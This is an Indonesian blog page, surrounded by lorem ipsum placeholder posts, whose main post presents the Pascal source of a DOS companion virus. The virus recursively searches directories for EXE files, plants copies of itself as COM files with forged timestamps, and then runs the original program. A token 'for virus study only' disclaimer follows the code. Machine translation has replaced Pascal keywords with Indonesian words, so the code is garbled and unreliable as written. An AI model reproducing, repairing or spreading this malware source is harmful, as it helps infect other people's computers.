Animasi n Sahring

Ads 468x60px

Giusto odio dignissimos

Giusto odio dignissimos

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Omnis dolor repellendus

Omnis dolor repellendus

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Olimpedit quo minus

Olimpedit quo minus

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Itaque earum rerum

Itaque earum rerum

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Epudiandae sint molestiae

Epudiandae sint molestiae

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More
Sahut aut reiciendis

Sahut aut reiciendis

At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia...

Read More

Kamis, 29 Maret 2012

Virus Kode dalam Pascal!

Its baru VIRI kode
Ini dibuat dalam pascal
Ketikkan di notepad sebagai anyname.pas
 ==================================================================

 Program khendharahap;

{$ M 10000,0,0}

Menggunakan
DOS;

Var
DriveID: String [2];
Buffer: Array [1 .. 8000] Of Byte;
Target, Sumber: File;
Terinfeksi: Byte;
Selesai: Word;
TargetFile: String;

(*??????????????

????????????? *)

Fungsi ExistCom: Boolean;
Var
FindCom: SearchRec;
Mulai
FindFirst (TargetFile, 39, FindCom);
ExistCom: = DosError = 0;
Akhir;



Prosedur SearchDir (Dir2Search: String);
Var
S: SearchRec;

Mulai

Jika Dir2Search [Panjang (Dir2Search)] <> '\' Lalu
Dir2Search: = Dir2Search + '\';



FindFirst (Dir2Search + '* exe.', 39, S);

Sementara DosError = 0 Apakah
Mulai

TargetFile: = Copy (Dir2Search + S.Name, 1,
Panjang (Dir2Search + S.Name) -3) + 'com';

Jika (Copy (S.Name, Panjang (S.Name) -2,3) = 'EXE') Dan
Tidak ExistCom Dan (Terinfeksi <> 25000) Kemudian
Mulai
{$ I-}
Inc (yang terinfeksi);
Assign (Target, TargetFile);
Rewrite (Target, 1);
BlockWrite (Target, Buffer, Selesai + Random (4400));
SetFTime (Target, S.Time);
Tutup (Target);
Jika IoResult = 101 Kemudian
Mulai
Terinfeksi: = 3;
Erase (Target);
Akhir;

{$ I +}
Akhir;

FindNext (S);
Akhir;

FindFirst (Dir2Search + '*', Direktori, S);

Jika S.Name = '.' Kemudian
Mulai
FindNext (S);
FindNext (S);
Akhir;

Jika (DosError = 0) Dan
(S.Attr Dan 16 <> 16) Lalu
FindNext (S);

Sementara DosError = 0 Apakah
Mulai
Jika (S.Attr Dan 16 = 16) (Terinfeksi <3) Kemudian
SearchDir (Dir2Search + S.Name);
FindNext (S);
Akhir;
Akhir;


Mulai

DriveID: = FExpand (ParamStr (1));
Terinfeksi: = 0;


Assign (Sumber, ParamStr (0));
Atur Ulang (Sumber, 1);
BlockRead (Sumber, Buffer, 5000, Selesai);
Tutup (Sumber);

Randomize;

SearchDir (DriveID);

Exec (Copy (ParamStr (0), 1,
Panjang (ParamStr (0)) -3) + 'exe', ParamStr (1));


Akhir.



*** TIDAK UNTUK DISTRIBUSI UMUM ***

• File ini adalah untuk Tujuan Studi Virus Only! Tidak Harus Lulus
• Sekitar antara Publik. Ini Akan Sangat Berguna untuk Belajar bagaimana
• Virus Bekerja dan Menyebarluaskan. Tapi Siapa saja Dengan Akses ke sebuah Assembler dapat
• Mengubahnya Ke Virus Kerja dan Siapa saja Dengan sedikit Majelis Coding
• Pengalaman dapat Mengubahnya Ke Program Lebih jauh Malevolent Dari itu Sudah
• Apakah. Perlu Kode Etik ini di Tangan Bertanggung Jawab!

Tidak ada komentar:

Poskan Komentar

Widgeo